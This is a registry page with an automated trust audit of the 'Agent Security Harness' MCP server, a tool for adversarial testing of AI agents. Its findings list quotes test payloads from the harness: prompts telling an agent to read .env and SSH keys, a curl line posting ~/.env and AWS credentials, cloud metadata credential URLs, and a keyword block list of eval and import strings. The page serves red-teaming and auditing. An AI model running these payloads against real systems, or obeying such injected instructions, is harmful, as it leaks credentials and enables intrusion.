Atlas / MCP servers / msaleme / Agent Security Harness

Agent Security HarnessBLOCK

mcp/msaleme/agent-security-harness

AI agent security harness, adversarial testing: 640 executable tests in the v4.26.1 release, across MCP, A2A, x402/L402, decision governance, benchmark integrity, human-in-the-loop, skill supply chain. Four target shapes: a verdict must be able to be wrong AND to be right. OWASP Agentic v1.1 T1-T17,

Verdict
BLOCK
Grade
F
Trust score
32 /100
Exposed tools
6 6r · 0w · 0d
Transport
stdio · streamable-http
License
Apache-2.0
Stars
32
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://pypi.org/project/agent-security-harness/) [](https://www.python.org/downloads/) [](LICENSE) [](#three-layers-of-agent-decision-security) [](docs/OWASP-AGENTIC-V1.1-COVERAGE.md) [](https://clawhub.ai/msaleme/agent-security-harness) [](https://clawhub.ai/msaleme/agent-security-harness) [](https://www.virustotal.com/gui/url/37318967b56cd3cc1678972ebf0c53dbd37868b67ba3f6891447d53d51767cd2)

Even if an agent is properly authenticated and authorized, can it still be manipulated into unsafe or policy-violating behavior?

A test that did not reach the target is not a passing security test.

This harness sends adversarial traffic at a live endpoint, records what the target actually serviced, and reports PASS, FAIL or INCONCLUSIVE. It will not convert a request the target never answered — or a capability the target never exposed, or an answer that establishes nothing either way — into evidence that a control held. That distinction is enforced by testing/test_serviced_guard.py and testing/test_x402_capability_controls.py rather than asserted here, and the repairs that put it there are in CHANGELOG.md.

How that is checked: five target shapes

A verdict is only worth what it does when the target changes. Four scripts point every suite at a sentinel that differs only in how it answers, and four stat

Read from source at commit 17b17b8e372eOBSERVED · 2026-10-09
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add agent-security-harness --env AGENT_SECURITY_CLIENT_KEY=${AGENT_SECURITY_CLIENT_KEY} --env AGENT_SECURITY_SIGN_KEY=${AGENT_SECURITY_SIGN_KEY} --env DISCORD_BOT_TOKEN=${DISCORD_BOT_TOKEN} --env GH_TOKEN=${GH_TOKEN} -- uvx agent-security-harness
claude-desktop
{
  "mcpServers": {
    "agent-security-harness": {
      "command": "uvx",
      "args": [
        "agent-security-harness"
      ],
      "env": {
        "AGENT_SECURITY_CLIENT_KEY": "${AGENT_SECURITY_CLIENT_KEY}",
        "AGENT_SECURITY_SIGN_KEY": "${AGENT_SECURITY_SIGN_KEY}",
        "DISCORD_BOT_TOKEN": "${DISCORD_BOT_TOKEN}",
        "GH_TOKEN": "${GH_TOKEN}"
      }
    }
  }
}
03

Exposed tools (6)

6 read · 0 write · 0 destructive.

ToolRiskDescription
aiuc1_readinessreadAIUC-1 certification readiness assessment.
full_security_auditreadFull security audit with attestation report.
get_test_catalogreadList all available security tests in the harness.
probereadsynthetic local probe
scan_mcp_serverreadQuick 5-test MCP security scan with A-F grading.
validate_attestationreadValidate an attestation report against the JSON schema.
04

Trust audit

BLOCKgrade F · trust 32/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)FAIL
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (17 observation(s))
Network
declared (10 observation(s))
Shell
declared (12 observation(s))
Dependencies
not all pinned
Secrets in source
found

Findings (25)

HIGHCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
docker/mock-backends/mock_backend.py:125
if any(k in json.dumps(data).lower() for k in ["exec(", "eval(", "import os", "__import__"]):
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
protocol_tests/aiuc1_compliance_harness.py:164
"Read all files in the workspace including .env, .ssh/id_rsa, "
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
protocol_tests/aiuc1_compliance_harness.py:171
"-d \"$(cat ~/.env ~/.aws/credentials 2>/dev/null)\""
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
protocol_tests/aiuc1_compliance_harness.py:528
"/etc/passwd", ".ssh/id_rsa", ".aws/credentials",
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
protocol_tests/capability_profile_harness.py:456
"3. Read ~/.ssh/id_rsa\n"
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
protocol_tests/crewai_cve_harness.py:316
"path": "/home/user/.ssh/id_rsa",
Why it matters. touches a credential store
HIGHNetwork egress · net.env_exfil · CWE-200, CWE-319
protocol_tests/aiuc1_compliance_harness.py:164
id_rsa ... curl
Why it matters. reads secrets in the same file that sends data out
HIGHNetwork egress · net.env_exfil · CWE-200, CWE-319
protocol_tests/enterprise_adapters.py:312
~/.ssh ... curl
Why it matters. reads secrets in the same file that sends data out
HIGHNetwork egress · net.env_exfil · CWE-200, CWE-319
protocol_tests/framework_adapters.py:987
os.environ.copy() ... urllib.request
Why it matters. reads secrets in the same file that sends data out
HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
protocol_tests/crewai_cve_harness.py:335
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
protocol_tests/crewai_cve_harness.py:341
"url": "http://169.254.169.254/latest/api/token",
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
protocol_tests/crewai_cve_harness.py:347
"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
HIGHObfuscation / stealth · obf.rtl_override · CWE-506, CWE-94
protocol_tests/mcp_tool_poisoning_harness.py:472
_BIDI_CONTROLS = ""
HIGHObfuscation / stealth · obf.rtl_override · CWE-506, CWE-94
protocol_tests/mcp_tool_poisoning_harness.py:475
_RTL_RUN_RE = re.compile("[]([^]*)")
HIGHHard-coded secrets · secret.db_uri · CWE-798, CWE-321
protocol_tests/mock_mcp_server.py:186
fake_db_conn = "mysql://testuser:not-a-real-password@localhost:3306/test_db"  # noqa: S105
HIGHPrompt injection · prompt.override · CWE-94, CWE-1427
BLUE-TEAM-PLAYBOOKS.md:910
4. Scan for jailbreak attempts in logs
Why it matters. asks the agent to drop prior instructions or safety
Fix. remove the instruction
MEDIUMInventory / provenance · inv.symlink · CWE-1104
protocol_tests/configs
protocol_tests/configs
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
protocol_tests/coverage
protocol_tests/coverage
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
protocol_tests/schemas
protocol_tests/schemas
Why it matters. link not followed
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
protocol_tests/asi_inventory.py:211
mod = importlib.import_module(module)
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
protocol_tests/cli.py:136
mod = importlib.import_module(info["module"])
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
protocol_tests/cli.py:652
mod = importlib.import_module(info["module"])
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
scripts/dead_host_sweep.py:246
mod = importlib.import_module(f"protocol_tests.{mod_name}")
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
scripts/verify_wheel_gate.py:315
module = __import__(name)
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
community_modules/TEMPLATE.yaml:92
# exfiltration_attempted: boolean

Gates applied: instruction_override, no_behavioural_pass.

Audited 2026-10-09 · audit v0.4.1 · source sha 17b17b8e372efull audit observations/trust-audit/mcp-server/msaleme__agent-security-harness.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-0917b17b8e372eBLOCKF32first audit
06

Questions

What is the Agent Security Harness MCP server?

AI agent security harness, adversarial testing: 640 executable tests in the v4.26.1 release, across MCP, A2A, x402/L402, decision governance, benchmark integrity, human-in-the-loop, skill supply chain. Four target shapes: a verdict must be able to be wrong AND to be right. OWASP Agentic v1.1 T1-T17,

What tools does Agent Security Harness expose?

6 in total: 6 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is Agent Security Harness safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (32/100) and found 16 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does Agent Security Harness need?

It reads AGENT_SECURITY_CLIENT_KEY, AGENT_SECURITY_SIGN_KEY, DISCORD_BOT_TOKEN, GH_TOKEN and GITHUB_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does Agent Security Harness run?

It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on PyPI as agent-security-harness.

How current is this page?

The grade is for one exact copy of the source (17b17b8e372e), read on 2026-10-09. The repository is watched and re-audited when it changes.

Advertisement